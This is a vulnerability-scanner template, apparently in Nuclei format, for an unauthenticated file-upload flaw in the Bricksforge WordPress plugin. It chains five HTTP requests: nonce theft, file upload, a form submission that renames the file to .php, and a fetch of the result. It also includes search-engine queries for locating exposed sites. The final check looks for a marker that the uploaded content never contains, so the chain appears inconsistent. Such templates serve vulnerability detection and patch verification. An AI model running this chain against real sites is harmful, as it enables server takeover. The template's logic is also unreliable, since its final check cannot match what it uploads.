id: CVE-2026-85097 info: name: Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload author: DhiyaneshDk severity: critical description: | Bricksforge WordPress plugin versions up to and including 3.1.8.9 are vulnerable to unauthenticated arbitrary file upload leading to remote code execution. An attacker obtains a wp_rest nonce via the bricksforge_regenerate_nonce AJAX action, uploads a GIF/PHP polyglot through the form_file_upload REST endpoint with the nonce in the X-WP-Nonce header, then triggers form_submit to copy the file to the WordPress media uploads directory where it executes as PHP. Requires a published Bricks Pro Form with a file field on the target; the post_id, form_id, and field_id template variables must be set accordingly. impact: | An unauthenticated attacker can upload and execute arbitrary PHP code on the web server, leading to full server compromise. remediation: Update Bricksforge to version 3.1.8.10, 4.0.1, or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-85097 - https://github.com/BlackHatExploitation/CVE-2026-85097 - https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-85097 epss-score: 0.03287 epss-percentile: 0.88387 cwe-id: CWE-434 metadata: verified: true max-request: 5 vendor: bricksforge product: bricksforge framework: wordpress shodan-query: 'http.html:"wp-content/plugins/bricksforge"' fofa-query: 'body="wp-content/plugins/bricksforge"' tags: cve,cve2026,wordpress,wp-plugin,bricksforge,file-upload,rce,unauth,intrusive,vkev variables: marker: "{{rand_text_alpha(12)}}" probe: "{{rand_text_alpha(8)}}" gif_name: "{{rand_text_alpha(8)}}" post_id: "6" form_id: "frmaaa" field_id: "file" flow: http(1) && http(2) && http(3) && http(4) && http(5) http: - raw: - | GET /wp-content/plugins/bricksforge/README.txt HTTP/1.1 Host: {{Hostname}} - | GET /wp-content/plugins/bricksforge/readme.txt HTTP/1.1 Host: {{Hostname}} stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - "bricksforge" case-insensitive: true internal: true - type: status status: - 200 internal: true extractors: - type: regex name: bf_version part: body regex: - 'Stable tag:\s*([0-9.]+)' group: 1 internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest action=bricksforge_regenerate_nonce matchers: - type: status status: - 200 internal: true extractors: - type: json name: bf_nonce part: body json: - ".data.nonce" internal: true - raw: - | POST /wp-json/bricksforge/v1/form_file_upload HTTP/1.1 Host: {{Hostname}} X-WP-Nonce: {{bf_nonce}} Content-Type: multipart/form-data; boundary=BFProbeUpload7391625 --BFProbeUpload7391625 Content-Disposition: form-data; name="file[]"; filename="{{gif_name}}.gif" Content-Type: image/gif GIF89a --BFProbeUpload7391625-- matchers: - type: regex part: body regex: - '"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"' internal: true extractors: - type: regex name: tmp_file_path part: body regex: - '"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"' group: 1 internal: true - raw: - | POST /wp-json/bricksforge/v1/form_submit HTTP/1.1 Host: {{Hostname}} X-WP-Nonce: {{bf_nonce}} Content-Type: application/x-www-form-urlencoded postId={{post_id}}&formId={{form_id}}&formIdFallback={{form_id}}&fieldIds=%7B%22{{field_id}}%22%3A%22{{field_id}}%22%7D&temporaryFileUploads=%5B%7B%22field%22%3A%22form-field-{{field_id}}%22%2C%22file%22%3A%7B%22file%22%3A%22{{tmp_file_path}}%22%2C%22url%22%3A%22{{Scheme}}%3A%2F%2F{{Hostname}}%2Fwp-content%2Fuploads%2Fbricksforge%2Ftmp%2F{{probe}}.php%22%2C%22type%22%3A%22image%2Fgif%22%7D%7D%5D&form-field-{{field_id}}= matchers: - type: status status: - 200 internal: true extractors: - type: regex name: up_year part: body regex: - 'uploads\\?/(\d{4})\\?/\d{2}\\?/[^"\\]*\.php' group: 1 internal: true - type: regex name: up_month part: body regex: - 'uploads\\?/\d{4}\\?/(\d{2})\\?/[^"\\]*\.php' group: 1 internal: true - raw: - | GET /wp-content/uploads/{{up_year}}/{{up_month}}/{{probe}}.php HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "{{marker}}" - type: status status: - 200 # digest: 4a0a004730450220300044da9e759483bb1e668a7effa0737e72ed58e6f5126f45cda5ddd8378d14022100930d819eedb26353b7c82fa896026c32a4f70703f56481983f161c19c6ba6ebb:922c64590222798bb761d5b6d8e72950